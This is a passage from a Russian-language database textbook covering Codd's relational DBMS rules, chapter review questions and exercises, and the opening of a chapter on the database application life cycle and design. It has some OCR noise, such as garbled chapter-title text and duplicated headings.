Это правило гарантирует, что все попытки доступа к базе данных контролируются СУБД таким образом, что целостность базы данных не может нарушена без ведома пользователя или АБД. Это, однако, не исключает возможностей использования языка низкого уровня с интерфейсом последовательной построчной обработки.
Структурные правила (правила 1 и 6)
Фундаментальным структурным понятием реляционной модели является отношение. Кодд утверждает, что РСУБД должна поддерживать работу с несколькими структурными элементами, включая отношения, домены, первичные и внешние ключи. Для каждого отношения (таблицы) базы данных должен быть определен первичный ключ.
Правило 1 - представление информации
Вся информация в реляционной базе данных представляется в явном виде на логическом уровне и только одним способом —г в виде значений в таблицах.
Согласно этому правилу, вся информация, даже метаданные в системном каталоге, должна храниться в виде отношений и управляться с помощью тех же функций, которые используются для работы с данными. Упоминание в этом правиле “логического уровня” означает, что такие физические конструкции, как индексы, не должны быть представлены в модели и пользователь не должен явно ссылаться на них в операциях извлечения данных, даже в тех случаях, когда они существуют.
Правило 6 - обновление представления
Все представления, которые являются теоретически обновляемыми, должны быть обновляемы и в данной системе.
Это правило касается исключительно представлений. Условия обновления представлений, принятые в языке SQL, рассматриваются в разделе 14.1.5. Данное правило гласит, что если представление является теоретически обновляемым, то СУБД должна уметь выполнять подобные обновления. На самом деле ни одна существующая система не поддерживает это требование, поскольку все еще не определены условия идентификации всех теоретически обновляемых представлений.
Правила целостности (правила 3 и 10)
Кодд предложил два правила поддержки целостности данных. Поддержка целостности данных является важным критерием оценки пригодности системы для практических нужд. Чем больше ограничений целостности может поддерживаться самой СУБД, а не отдельными ее приложениями, тем выше гарантии качественности данных.
Правило 3 - систематическая обработка неопределенных значений (NULL)
Неопределенные значения (задаваемые с помощью определителя NULL), т.е. значения, отличные от пустой строки или строки пустых символов, а также от нуля или любого другого конкретного значения, поддерживаются для систематического представления отсутствующей или неприемлемой информации, причем независимо от типа данных.
Правило 10 — независимость ограничений целостности
Специфические для данной РСУБД ограничения целостности должны определяться на подъязыке реляционных данных и храниться в системном каталоге, а не в прикладных программах.
Код особо подчеркивает, что сведения об установленных ограничениях целостности данных должны храниться в системном каталоге, а не инкапсулироваться в отдельных прикладных программах или пользовательских интерфейсах. Хранение ограничений целостности в системном каталоге предоставляет важное преимущество централизованного управления и приведения их в действие.
Правила манипулирования данными (правила 2, 4, 5 и 7)
Идеальная РСУБД должна поддерживать 18 функций управления данными. Они определяют полноту языка запросов (здесь термин “запрос” включает и операции вставки, обновления и удаления). Правила манипулирования данными определяют способ применения 18 функций управления данными. Строгое следование этим правилам позволяет изолировать пользователя и прикладные программы от физического и логического механизмов реализации средств манипулирования данными.
Правило 2 - гарантированный доступ
Для всех и каждого элемента данных (т.е. его атомарного значения) реляционной базы данных должен быть гарантирован логический доступ на основе комбинации имени таблицы, значения первичного ключа и значения имени столбца.|
Правило 4 - динамический интерактивный каталог, построенный по правилам реляционной модели
Описание базы данных должно представляться на логическом уровне таким же образом, как и обычные данные, что позволит санкционированным пользователям использовать для обращений к этому описанию тот же реляционный язык, что и при обращении к данным.
Это правило указывает на то, что должен существовать только один язык, предназначенный для манипулирования как метаданными, так и обычными данными, причем в СУБД для организации хранения системной информации должна использоваться только одна логическая структура — отношения.
Правило 5 - исчерпывающий подъязык данных
Реляционная система может поддерживать несколько языков и различные режимы работы с терминалами (например, режим заполнения формы — fill-in-the-blanks). Однако должен существовать по крайней мере один язык, операторы которого позволяли бы выражать все следующие конструкции: 1) определение данных; 2) определение представлений; 3) команды манипулирования данными (доступные как интерактивно, так и из программ); 4) ограничения целостности; 5) авторизация пользователей; 6) организация транзакций (запуск, фиксация и откат).
Следует отметить, что новый стандарт ISO для языка SQL обеспечивает выполнение всех этих функций таким образом, что любой удовлетворяющий этому стандарту язык автоматически будет удовлетворять и этому правилу (главы 13, “Язык SQL”, и 14, “Дополнительные средства языка SQL”).
Правило 7 - высокоуровневые операции вставки, обновления и удаления
Способность обрабатывать базовые или производные отношения (т.е. представления) как единый операнд должна относиться не только к процедурам извлечения данных, но и к операциям вставки, обновления и удаления данных.
Правила независимости от данных (правила 8, 9 и 11)
Кодд определяет три правила независимости данных от приложений, которые эти данные используют. Строгое соблюдение этих правил гарантирует, что пользователи и разработчики будут защищены от необходимости вносить тотальные изменения в приложения при каждой реорганизации базы данных на низком уровне.
Правило 8 - физическая независимость от данных
Прикладные программы и средства работы с терминалами должны оставаться логически незатронутыми при внесении любых изменений в способы хранения данных или методы доступа к ним.
Правило 9 - логическая независимость от данных
Прикладные программы и средства работы с терминалами должны оставаться логически незатронутыми при внесении в базовые таблицы любых не меняющих информацию изменений, которые теоретически не должны затрагивать прикладное программное обеспечение.
Правило 11 - независимость от распределения данных
Подъязык манипулирования данными в реляционной СУБД должен позволять прикладным программам и запросам оставаться логически неизменными, независимо от того, как хранятся данные — физически централизованно или в распределенном виде.
Независимость от распределения данных означает, что прикладная программа, осуществляющая доступ к СУБД на отдельном компьютере, должна без каких-либо модификаций продолжать работать и в том случае, когда данные в сети будут перенесены с одного компьютера на другой. Другими словами, для конечного пользователя должна быть создана иллюзия того, что данные централизованно хранятся на единственном компьютере, а ответственность за перемещение и поиск данных среди (возможно) нескольких мест их хранения должна возлагаться исключительно на систему. Обратите внимание, что здесь не сказано о том, что реляционная СУБД должна непременно поддерживать работу с распределенной базой данных. Здесь просто имеется в виду, что язык запросов должен оставаться неизменным и в том случае, когда возможность работы с распределенными данными реализуется в некоторой СУБД. Распределенные базы данных обсуждаются в главе 19, “Концепции и разработка распределенных СУБД”, и в главе 20, “Распределенные СУБД — дополнительные концепции”.
Резюме
Реляционные СУБД в настоящее время являются самым распространенным программным обеспечением обработки данных, ежегодный объем продаж которого оценивается 8-10 миллиардами долларов (25 миллиардов долларов вместе с инструментами разработки), а темпы ежегодного прироста объема продаж равны 25%. Это программное обеспечение представляет собой второе поколение СУБД; оно основано на использовании реляционной модели данных, предложенной Э. Ф. Коддом.
Математическое отношение является подмножеством декартового произведения двух или более множеств. В контексте баз данных отношением называется любое подмножество декартового произведения доменов атрибутов. Отношение обычно записывается в виде множества из п кортежей, каждый элемент которых выбран из соответствующего домена.
Физическое представление отношений имеет вид таблиц со строками, соответствующими отдельным кортежам, и столбцами, соответствующими атрибутам.
Структура отношения со спецификациями домена и другими ограничениями является частью заголовка базы данных, а отношение со всеми его кортежами представляет собой текущее состояние или расширение базы данных.
Отношения базы данных обладают следующими свойствами: каждая ячейка содержит только одно атомарное значение, имена всех атрибутов различны, значения одного атрибута берутся из одного и того же домена, порядок расположения атрибутов не имеет никакого значения, порядок расположения кортежей также не имеет никакого значения, причем наличие кортежей- дубликатов не допускается.
Степенью отношения называется количество входящих в него атрибутов, а кардинальностью — количество содержащихся в нем кортежей. Унарное отношение имеет один атрибут, бинарное — два, тернарное — три, а п-арное — п атрибутов.
Суперключ — это любое множество атрибутов, которое уникальным образом идентифицирует кортежи отношения, а потенциальный ключ — это минимальный суперключ. Первичный ключ — это потенциальный ключ, выбран-
ный для идентификации кортежей отношения. Каждое отношение обязательно должно иметь первичный ключ. Внешний ключ — это один или несколько атрибутов данного отношения, которые одновременно являются потенциальными ключами другого отношения.
■ Неопределенное значение (NULL) представляет ситуацию, когда значение атрибута в данный момент неизвестно или не определено для этого кортежа.
■ Целостность сущностей — это ограничение, согласно которому в базовом отношении ни один атрибут первичного ключа не может иметь неопределенных значений. Ссылочная целостность означает, что значения внешнего ключа должны иметь соответствие существующим значениям потенциального ключа в кортежах базового отношения либо полностью состоять из неопределенных значений, задаваемых с помощью определителя NULL.
■ Реляционные языки управления данными иногда классифицируют как процедурные, непроцедурные, основанные на преобразованиях, графические, языки четвертого поколения и языки пятого поколения. Реляционная алгебра является формальным процедурным языком, который включает операции выборки, проекции, декартового произведения, объединения, пересечения, разности, деления и некоторые типы соединений отношений. Реляционное исчисление является формальным непроцедурным языком, который использует предикаты. Реляционная алгебра логически эквивалентна подмножеству реляционного исчисления, ограниченному безопасными выражениями (и наоборот).
■ Представление в реляционной модели является виртуальным отношением. Представления позволяют достичь более высокой защищенности данных, а также предоставляют проектировщику средства настройки пользовательской модели. Представления пользователей создаются динамически, причем не все они являются обновляемыми.
Вопросы
Дайте определение каждому из следующих понятий в контексте реляционной модели данных:
отношение;
атрибут;
домен;
кортеж;
заголовоки тело;
степень икардинальное число.
Укажите различия между потенциальными ключами и первичным ключом отношения. Что означает понятие “внешний ключ”? Как внешние ключи отношений связаны с потенциальными ключами? Приведите примеры, иллюстрирующие ваши ответы.
Дайте определение двух основных правил целостности реляционной модели и расскажите, почему необходимо их использовать.
Дайте определение пяти основным операциям реляционной алгебры. Определите оставшиеся три операции реляционной алгебры на основе этих пяти операций.
Что такое представление? Укажите различия между представлением и базовым отношением. Объясните, что происходит при доступе пользователя к базе данных через представление.
Упражнения
Перечисленные ниже таблицы образуют часть базы данных реляционной СУБД.
Hotel(Hotel_No, Name, Address)
Room(Room_No, Hotel Jto, Type, Price)
Booking(Hotel_No, Guest^No, Date_From, Date_To, Room_No)
Guest(Guest_No,Name,Addres s)
Здесь таблица Hotel содержит сведения о гостинице, причем атрибут Hotel^No является ее первичным ключом. Таблица Room содержит данные о номерах всех гостиниц, а комбинация атрибутов (Hotel^No, Room^No) образует ее первичный ключ. Таблица Booking содержит сведения о бронировании гостиничных номеров; ее первичным ключом является комбинация атрибутов (Hotel_No, Guest_No, Date_From). Наконец, таблица Guest содержит сведения о постояльцах гостиниц, и ее первичным ключом является атрибут Guest_No.
Напишите выражения реляционной алгебры, позволяющие выполнить следующие запросы:
перечислить все гостиницы;
перечислить все однокомнатные гостиничные номера стоимостью менее 20 фунтов стерлингов за сутки;
перечислите имена и адреса всех постояльцев;
составьте список стоимости и типов всех гостиничных номеров в гостинице “Grosvenor Hotel”;
перечислите всех постояльцев гостиницы “Grosvenor Hotel”;
приведите сведения обо всех номерах гостиницы “Grosvenor Hotel”, включая имена постояльцев, снимающих тот или иной номер;
приведите сведения (атрибуты Guest No, Name и Address) обо всех постояльцах гостиницы “Grosvenor Hotel”.
Используя средства реляционной алгебры создайте представление со сведениями обо всех номерах гостиницы “Grosvenor Hotel”, исключая их стоимость. Какими преимуществами обладает подобное представление?
Для перечисленных выше запросов создайте эквивалентные команды в реляционном исчислении кортежей и доменов.
Объясните, как правила целостности сущностей и ссылочной целостности могут быть применены к этим отношениям.
Проанализируйте возможности используемой вами РСУБД. Определите, предоставляет ли она средства поддержки первичных ключей, альтернативных ключей, внешних ключей, реляционной целостности и представлений. Какие типы реляционных языков поддерживаются в этой системе? Какие операции в каждом из этих языков эквивалентны восьми операциям реляционной алгебры, упомянутым в разделе 3.4.1?
ГЛАВАГЛАВАssilAii^®S8Mig^ilAii^®S8Mig^'Ш'Шш$в ^Ш||Яш$в ^Ш||ЯМетодыоценки и вй|Й|||||^^Различие между администрированием Д1 рованием базы даетйхгЖМетодыоценки и вй|Й|||||^^Различие между администрированием Д1 рованием базы даетйхгЖ1иро71иро7
ГЛАВА
ГЛАВА
s
s
ilAii^
®S8Mig^
ilAii^
®S8Mig^
'Ш
'Ш
ш$в ^Ш||Я
ш$в ^Ш||Я
Методыоценки и вй|Й|||||^^
Различие между администрированием Д1 рованием базы даетйхгЖ
Методыоценки и вй|Й|||||^^
Различие между администрированием Д1 рованием базы даетйхгЖ
1иро7
1иро7
Планирование, проектирование и администрирование базы данных
В этой главе...
ISISОсновные ^этапы жизненного цикла информациой^йнфтстей Взаимосвязь приложений баз данных с жизненным цийом|
IS
IS
информационных систем.'1$*<^?:а^ ^^ШШ '$ Основные этапы жизненного цикла приложения базы данных. Основные этапы^$Ьектиро]^||||8/ба^^^
. ное, логическое и физическое проектирование. ^
Преимущества использования CASE-инструМентов;— средств . < автоматизированногощроекти|£|^^
Критерии оценки СУБД, '*'№Д
8смЕ®6йавис^и-
Цель и! задачи администрирования данных и ; ваниЯ базы данных.
В настоящее время ключевая роль в достижении урпеха большинства компьютеризованных систем принадлежит не используемому оборудованию, а программному обеспечению. Однако существующие исторические свидетельства о разработке программного обеспечения систем не производят столь глубокого впечатления, как хронологические обзоры стремительного прогресса в области аппаратных средств вычислительной техники. В последние десятилетия прикладные программы проделали путь от маленьких и сравнительно простых приложений из нескольких строк кода до очень больших и сложных приложений, состоящих из нескольких миллионов строк. Многие из этих приложений требовали постоянного сопровождения, включая исправление выявленных ошибок, реализацию новых требований пользователей, а также перенос программного обеспечения на новые или модернизированные вычислительные платформы. Усилия и ресурсы, затрачиваемые на сопровождение программного обеспечения, возрастали угрожающими темпами. В результате разработка и реализация многих крупных проектов затягивалась, их стоимость превосходила запланированную, а окончательный продукт получался ненадежным, сложным в сопровождении и обладавшим недостаточной производительностью. Все это привело к ситуации, которая известна под названием “кризис программного обеспечения”. Хотя первые упоминания о кризисе были сделаны еще в конце 60-х годов, даже спустя более чем 30 лет его все еще не удалось преодолеть. В настоящее время многие авторы даже называют этот кризис “депрессией программного обеспечения”. В Великобритании специальная группа по изучению организационных аспектов информатики (Organizational Aspects Special Interest Group — OASIG) исследовала эту проблему и сформулировала следующие выводы (OASIG, 1996).
Примерно 80-90% компьютеризованных систем не обладают требуемой производительностью.
При разработке около 80% систем были превышены установленные для этого временные и бюджетные рамки.
Разработка около 40% систем закончилась неудачно или была прекращена до завершения работы.
Менее чем 40% систем предусматривали профессиональное обучение и повышение квалификации пользователей во всем необходимом объеме.
Гармонично интегрировать интересы бизнеса и используемой технологии удалось не более чем в 25% систем.
Только 10-20% систем отвечают всем критериям достижения успеха.
Неудачи при создании программного обеспечения были вызваны:
отсутствием полной спецификации всех требований;
отсутствием приемлемой методологии разработки;
недостаточной степенью разделения общего глобального проекта на отдельные компоненты, поддающиеся эффективному контролю и управлению.
Для разрешения этих проблем был предложен структурный подход к разработке программного обеспечения, называемый жизненным циклом информационных систем (Information Systems Lifecycle) (или жизненным циклом разработки программного обеспечения (Software Development Lifecycle — SDLC)). Далее в этой книге будет использоваться только термин “жизненный цикл информационных систем”.
Структура этой главы
В разделе 4.1 описывается жизненный цикл информационных систем и обсуждается, как он связан с жизненным циклом приложения базы данных. В разделе 4.2 представлен обзор этапов жизненного цикла приложения базы данных и связанные с ними действия. Многие из этих действий будут детально рассмотрены в последующих главах этой книги. В разделе 4.3 подробно описывается этап проектирования базы данных с указанием трех основных фаз этого процесса: концептуального, логи-
ческого и физического проектирования. В разделе 4.4 этап проектирования приложения базы данных рассматривается более подробно. В разделе 4.5 обсуждаются вопросы использования CASE-инструментов, предназначенных для автоматизированного проектирования и создания программ и способных обеспечить поддержку всего жизненного цикла приложения базы данных. В разделе 4.6 описывается процесс выбора СУБД и указаны важные критерии, которыми можно руководствоваться в этом процессе. Завершается эта глава разделом 4.7, в котором обсуждаются цели и задачи администрирования данных и администрирования базы данных организации.
Обзор жизненного цикла информационных систем
Информационная Ресурсы, которые позволяют выполнять сбор, корректировку системаи распространение информации внутри организации.
Начиная с 70-х годов системы баз данных стали постепенно заменять файловые системы, использовавшиеся как часть инфраструктуры информационных систем (Information System — IS) организаций. Параллельно с этим росло признание того факта, что данные являются важным корпоративным ресурсом, к которому нужно относиться так же уважительно, как и к другим ресурсам организации. Это привело к тому, что во многих организациях появились целые отделы или функциональные подразделения, занимавшиеся администрированием данных (АД) и администрированием баз данных (АБД). Они отвечали за обработку и управление корпоративными данными и корпоративными базами данных соответственно.
Типичная компьютеризированная информационная система включает такие компоненты, как:
база данных;
программное обеспечение базы данных;
прикладное программное обеспечение;
аппаратное обеспечение, в том числе устройства хранения;
персонал, использующий и разрабатывающий эту систему.
База данных является фундаментальным компонентом информационной системы, а ее разработку и использование следует рассматривать с точки зрения самых широких требований организации. Следовательно, жизненный цикл информационной системы организации неотъемлемым образом связан с жизненным циклом системы базы данных, поддерживающей его. Жизненный цикл информационной системы обычно состоит из нескольких этапов: планирование, сбор и анализ требований, проектирование (включая проектирование базы данных), создание прототипа, реализация, тестирование, преобразование данных и сопровождение. В этой главе все этапы жизненного цикла информационной системы рассматриваются с точки зрения разработки приложения баз данных. Однако следует отметить, что разработку любого приложения базы данных всегда полезно рассматривать с более широкой точки зрения — как разработку определенного компонента всей информационной системы организации в целом.
В тексте данной главы термины “функциональная сфера” и “область применения приложения” относятся к отдельным направлениям деловой активности внутри организации — например, к маркетингу, работе с персоналом или к управлению товарными запасами.
Жизненный цикл приложения баз данных
Как уже упоминалось выше, система базы данных является фундаментальным компонентом более широкого понятия — информационной системы организации. Следовательно, жизненный цикл приложений баз данных неразрывно связан с жиз-
ненным циклом информационной системы. Этапы жизненного цикла приложения базы данных показаны на рис. 4.1. Следует признать, что эти этапы не являются строго последовательными, а включают некоторое количество повторов предыдущих шагов в виде циклов обратной связи (feedback loop). Например, при проектировании базы данных могут возникнуть проблемы, для разрешения которых потребуется вернуться к этапу сбора и анализа требований. Циклы обратной связи могут возникать почти между всеми этапами, но здесь показаны только наиболее очевидные из них.
Ниже перечислены основные действия, выполняемые на каждом этапе жизненного цикла базы данных.
Планирование разработки базы данных. Планирование самого эффективного способа реализации этапов жизненного цикла системы.
Определение требований к системе. Определение диапазона действия и границ приложения базы данных, состава его пользователей и областей применения.
Сбор и анализ требований пользователей. На этом этапе выполняется сбор и анализ требований пользователей из всех возможных областей применения.
Проектирование базы данных. Полный цикл разработки включает концептуальное, логическое и физическое проектирование базы данных.
Выбор целевой СУБД (необязательно). На этом этапе выполняется выбор наиболее подходящей СУБД для приложения базы данных.
Разработка приложений. Определение пользовательского интерфейса и прикладных программ, которые используют и обрабатывают базу данных.
Создание прототипов (необязательно). На этом этапе создается рабочая модель приложения базы данных, которая позволяет разработчикам или пользователям представить и оценить окончательный вид и способы функционирования системы.
Реализация. Этот этап включает создание внешнего, концептуального и внутреннего определений базы данных и прикладных программ.
Конвертирование и загрузка данных. На этом этапе выполняется преобразование и загрузка данных (и прикладных программ) из старой системы в новую.
Тестирование. Приложение базы данных тестируется с целью обнаружения ошибок, а также его проверки на соответствие всем требованиям, выдвинутым пользователями.
Эксплуатация и сопровождение. На этом этапе приложение базы данных считается полностью разработанным и реализованным. Впредь вся система будет находиться под постоянным наблюдением и соответствующим образом поддерживаться. В случае необходимости в функционирующее приложение могут вноситься изменения, отвечающие новым требованиям. Реализация этих изменений проводится посредством повторного выполнения некоторых из перечисленных выше этапов жизненного цикла.
В следующих разделах более подробно описываются основные действия, выполняемые на каждом этапе жизненного цикла приложения баз данных. Для малых приложений с небольшим количеством пользователей жизненный цикл может оказаться не очень сложным. Однако он может стать чрезвычайно сложным при проектировании среды большого приложения баз данных, с десятками и даже тысячами пользователей, сотнями запросов и прикладных программ. Дальше в этой главе основное внимание уделяется тем действиям, которые связаны с разработкой среды больших приложений баз данных.
Планирование разработки базы данных
Планирование разработки базы данныхПланирование разработки базы данныхПодготовительные действия, позволяющие с максимально возможной эффективностью реализовать этапы жизненного цикла приложения баз данных.
Планирование разработки базы данных
Планирование разработки базы данных
Как и в случае создания прочего программного обеспечения, планирование разработки базы данных состоит в определении трех основных компонентов: требуемого объема работы, необходимых ресурсов и общей стоимости проекта. Планирование разработки базы данных должно быть связано с общей стратегией построения информационной системы организации. Суть этой стратегии заключается в решении таких основных задач, как:
определение бизнес-планов и целей организации с последующим выделением ее потребностей в информационных технологиях;
оценка показателей уже существующих информационных систем с целью выявления их сильных и слабых сторон;
оценка возможностей использования информационных технологий для достижения конкурентоспособного преимущества.
Описание методологий, используемых для решения этих задач, выходит за рамки данной книги. Заинтересованный читатель сможет найти подробную информацию по указанным вопросам в трудах Робсона (Robson, 1977).
Для поддержки планирования разработки базы данных может быть создана корпоративная модель данных, отображающая наиболее важные данные и связи между ними (т.е. сущности и связи предметной области), а также их отношение к различным функциональным сферам организации. Благодаря этому, например, можно понять, в каких случаях потребуется организовать совместный доступ к данным из различных функциональных подразделений. Обычно корпоративная модель данных имеет вид упрощенной ER-диаграммы (глава 5, “Модель “сущность-связь””). На рис. 4.2 показан пример корпоративной модели данных для расширенной версии учебного проекта DreamHome (с включением сведений о продаже недвижимости). В ней приведены сущности и связи для функциональных сфер продажи, аренды и рекламы объектов недвижимости.
Планирование разработки баз данных также должно включать разработку стандартов, которые определяют, как будет осуществляться сбор данных, каким будет их формат, какая потребуется документация и как будет выполняться проектирование и реализация приложений. Разработка и сопровождение стандартов могут быть связаны с немалыми затратами времени, причем на их первоначальное внедрение и последующее сопровождение могут потребоваться значительные ресурсы. Однако четко определенный набор стандартов позволяет создать хорошую основу для последующего обучения персонала и организации контроля качества, а также гарантировать выполнение работ по строго определенным образцам, независимо от имеющихся у персонала навыков и опыта. Например, специальные правила могут определять, как присваиваются имена элементам данных, описываемых в словаре данных, что, в свою очередь, позволит предотвратить их избыточность и противоречивость. Кроме того, необходимо тщательно документировать любые существующие юридические или внутренние требования к данным (например, о строгом соблюдении их конфиденциальности и т.п.).
Рис. 4.2. Корпоративная модель данных учебного проекта DreamHomeРис. 4.2. Корпоративная модель данных учебного проекта DreamHome
Рис. 4.2. Корпоративная модель данных учебного проекта DreamHome
Рис. 4.2. Корпоративная модель данных учебного проекта DreamHome
Определение требований к системе
Определение Определение диапазона действия и границ приложения базы требований данных, состава его пользователей и областей применения.
к системе
Прежде чем приступать к проектированию приложения базы данных, важно установить границы исследуемой области и способы взаимодействия приложения с другими частями информационной системы организации. Эти границы должны охватывать не только текущих пользователей и области применения разрабатываемой системы, но и будущих пользователей и возможные области применения. На рис. 4.2 выделен диапазон и границы приложения базы данных учебного проекта DreamHome, который используется в качестве примера в главах 10, “Пример разработки концептуального проекта базы данных”, 11, “Пример разработки логического проекта базы данных”, и 12, “Пример разработки физического проекта базы данных”.
Сбор и анализ требований пользователей
Сбор и анализ требований пользователейСбор и анализ требований пользователейСбора и анализа информации о той части организации, работа которой будет поддерживаться с помощью создаваемого приложения базы данных, а также использование этой информации для определения требований пользователей к создаваемой системе.
Сбор и анализ требований пользователей
Сбор и анализ требований пользователей
Проектирование базы данных основано на информации о той части организации, которая будет обслуживаться базой данных. Следует отметить, что если организация рассматривается с точки зрения проектирования базы данных, то ее мы будем назы-
вать предприятием (или корпорацией). Необходимая для проектирования базы данных информация может быть собрана следующими способами:
посредством опроса отдельных сотрудников предприятия, особенно специалистов в наиболее важных областях ее деятельности;
с помощью наблюдений за деятельностью предприятия;
посредством изучения документов, особенно тех, которые используются для сбора или представления информации;
с помощью анкет, предназначенных для сбора информации у широкого круга пользователей;
за счет использования опыта проектирования других подобных систем.
Требование Некоторая функция, которая должна быть включена в создаваемую систему.
Собранная информация о каждой важной области применения приложения и пользовательской группе должна включать следующие компоненты: используемую и генерируемую документацию, подробные сведения о выполняемых транзакциях, а также список требований с указанием их приоритетов. На основании всей этой информации будут составлены спецификации требований пользователей, возможно, в виде набора документов, описывающих деятельность предприятия с разных точек зрения.
Сбор и анализ, требований является предварительным этапом концептуального проектирования базы данных, в ходе которого спецификации требований пользователей анализируются с целью выяснения всех необходимых подробностей. Объем собранных данных зависит от сути проблемы и действующих бизнес-правил предприятия. Слишком тщательный анализ легко может привести к параличу сверханализа (paralysis by analysis), а слишком поверхностный анализ — к пустой трате времени и денежных средств на проведение работ по реализации решения, которое окажется ошибочным с результате неправильной формулировки проблемы. Полное обсуждение методов анализа выходит за рамки этой книги. Заинтересованный читатель сможет найти подробное описание упомянутых вопросов в работе Сенна (Senn, 1989).
Собранная на этом этапе информация может быть плохо структурирована и включать некоторые неформальные заявления пользователей, которые впоследствии потребуется преобразовать и представить в виде более четко сформулированных требований. Эта цель достигается с помощью методов составления спецификаций требований, к числу которых относятся, например, технология структурного анализа и проектирования (Structured Analysis and Design — SAD), диаграммы потоков данных (Data Flow Diagrams — DFD) и графики “вход-процесс-выход” (Hierarchical Input Process Output — HIPO), дополненные соответствующей документацией. Как будет показано ниже, для получения гарантий того, что составленный набор требований является полным и непротиворечивым, могут использоваться CASE-инструменты, предназначенные для автоматизированного проектирования и создания программ.
Определение набора требуемых функциональных возможностей приложения базы данных является критически важным действием, поскольку системы с неадекватной или неполной функциональностью будут лишь раздражать пользователей, что может привести к их частичному и малоэффективному использованию и даже к полному отказу от эксплуатации системы (Bailey, 1989). Однако чрезмерно увеличенный набор функциональных возможностей также может стать источником проблем, поскольку это вызовет существенное усложнение системы и, как следствие, дополнительные затруднения в ее реализации, сопровождении, использовании и обучении персонала.
Проектирование базы данных
Проектирование Процесс создания проекта базы данных, предназначенной для базы данных поддержки функционирования предприятия и способствующей достижению его целей.
В этом разделе кратко рассматриваются основные цели этапа проектирования базы данных в составе общего жизненного цикла приложений баз данных, а также используемые для этого методы. В разделе 4.3 мы более подробно обсудим назначение и использование технологии моделирования данных в процессе проектирования базы данных. Там же представлен краткий обзор трех основных этапов этой стадии жизненного цикла приложений баз данных: концептуального, логического и физического проектирования.
Основными целями проектирования базы данных являются:
представление данных и связей между ними, необходимых для всех основных областей применения данного приложения и любых существующих групп его пользователей;
создание модели данных, способной поддерживать выполнение любых требуемых транзакций обработки данных;
разработка предварительного варианта проекта, структура которого позволяет удовлетворить все основные требования, предъявляемые к производительности системы — например, ко времени реакции системы.
К сожалению, эти цели легко достижимы далеко не всегда, и в некоторых случаях приходится идти на компромисс — например, для достижения приемлемого уровня производительности системы. Существует два основных подхода к проектированию систем баз данных: “нисходящий” и “восходящий”. При восходящем подходе работа начинается с самого нижнего уровня — уровня определения атрибутов (т.е. свойств сущностей), которые на основе анализа существующих между ними связей группируются в отношения, представляющие типы сущностей и связи между ними. В главе 6, “Нормализация”, подробно рассматривается процесс нормализации, который представляет собой вариант восходящего подхода при проектировании баз данных. Нормализация предусматривает идентификацию требуемых атрибутов с последующим созданием из них нормализованных таблиц, основанных на функциональных зависимостях между этими атрибутами.
Восходящий подход лучше всего подходит для проектирования простых баз данных с относительно небольшим количеством атрибутов. Однако использование этого подхода существенно усложняется при проектировании баз данных с большим количеством атрибутов, установить среди которых все существующие функциональные зависимости довольно затруднительно. Поскольку концептуальная и логическая модели данных для сложных баз данных могут содержать от сотен до тысяч атрибутов, очень важно выбрать подход, который помог бы упростить этап проектирования. Кроме того, на начальных стадиях формулирования требований к данным в крупной базе данных может быть трудно установить все атрибуты, которые должны быть включены в модели данных.
Более подходящей стратегией проектирования сложных баз данных является использование нисходящего подхода. Начинается этот подход с разработки моделей данных, которые содержат несколько высокоуровневых сущностей и связей, затем работа продолжается в виде серии нисходящих уточнений низкоуровневых сущностей, связей и относящихся к ним атрибутов. Нисходящий подход демонстрируется в концепции модели “сущность-связь”. В этом случае работа начинается с идентификации сущностей и связей между ними, интересующих данную организацию в наибольшей степени. Например, сначала можно было бы идентифицировать сущности Owner (Владелец) и Property (Объект недвижимости), затем установить между ними связь Owner Owns фладеет^ Property и лишь после этого определить связанные с ними атрибуты — например, Owner (Owner^o, Name, Address) и Property (Propertyjto, Address). Более подробно построение высокоуровневой модели данных с использованием концепции модели “сущность-связь” рассматривается в главе 5, “Модель ’’сущность-связь’’”.
Помимо этих подходов, для проектирования баз данных могут применяться другие подходы, например подход типа “изнутри наружу” или “смешанная стратегия проектирования”. Подход типа “изнутри наружу” похож на восходящий подход, но отличается от него начальной идентификацией набора основных сущностей с после-
дующим расширением круга рассматриваемых сущностей, связей и атрибутов, которые взаимодействуют с первоначально определенными сущностями. В смешанной стратегии сначала восходящий и нисходящий подходы используются для разных частей модели, после чего все подготовленные фрагменты собираются в единое целое.
Выбор целевой СУБД
Выбор целевой Выбор СУБД подходящего типа, предназначенной для под- СУБДдержки создаваемого приложения базы данных.
Если тип используемой СУБД еще не выбран, то наиболее подходящим местом для осуществления такого выбора является промежуточное положение между концептуальной и логической фазами проектирования базы данных (раздел 4.3). Однако этот выбор можно осуществить и в любой другой момент до начала логического проектирования, при условии, что имеется вся необходимая информация о таких общих требованиях к системе, как производительность, простота реорганизации, уровень защищенности и ограничения целостности данных. Более подробно задача выбора СУБД обсуждается в разделе 4.6.
Разработка приложений
Разработка Проектирование интерфейса пользователя и прикладных проприложений грамм, предназначенных для работы с базой данных.
На рис. 4.1 показано, что в жизненном цикле системы проектирование базы данных и приложений выполняется параллельно. В большинстве случаев проектирование приложений нельзя завершить до окончания проектирования базы данных. С другой стороны, база данных предназначена для поддержки приложений, а потому между фазами проектирования базы данных и проектирования приложений для этой базы данных должен постоянно происходить обмен информацией.
Необходимо убедиться, что все функциональные возможности, предусмотренные в спецификациях требований пользователей, обеспечиваются интерфейсом пользователя соответствующих приложений. Это относится как к проектированию прикладных программ доступа к информации в базе данных, так и к проектированию транзакций, т.е. проектированию методов доступа к базе данных, которые более подробно рассматриваются в разделе 4.4.
Помимо проектирования способов, с помощью которых пользователь сможет получить доступ к необходимым ему функциональным возможностям, следует также разработать соответствующий пользовательский интерфейс приложений базы данных. Этот интерфейс должен предоставлять необходимую пользователю информацию самым удобным для него образом. При всей своей важности, проектирование интерфейсов пользователей порой просто игнорируется или же оставляется на самые поздние этапы разработки. Однако следует признать, что пользовательские интерфейсы являются одним из важнейших компонентов системы. Если интерфейс легко осваивается персоналом, прост в использовании, интуитивно понятен и устойчив к ошибкам, то пользователи легко научатся извлекать пользу из представленной в нем информации. В то же время, если интерфейс лишен указанных качеств, то работа с такой системой неизбежно будет сопровождаться теми или иными проблемами. В разделе 4.4 представлены некоторые общие рекомендации по поводу создания эффективных и удобных интерфейсов пользователя.
Создание прототипов
На различных этапах процесса проектирования системы имеется возможность либо полной реализации приложения базы данных, либо создания его прототипа.
Создание Создание рабочей модели приложения баз данных, прототипа
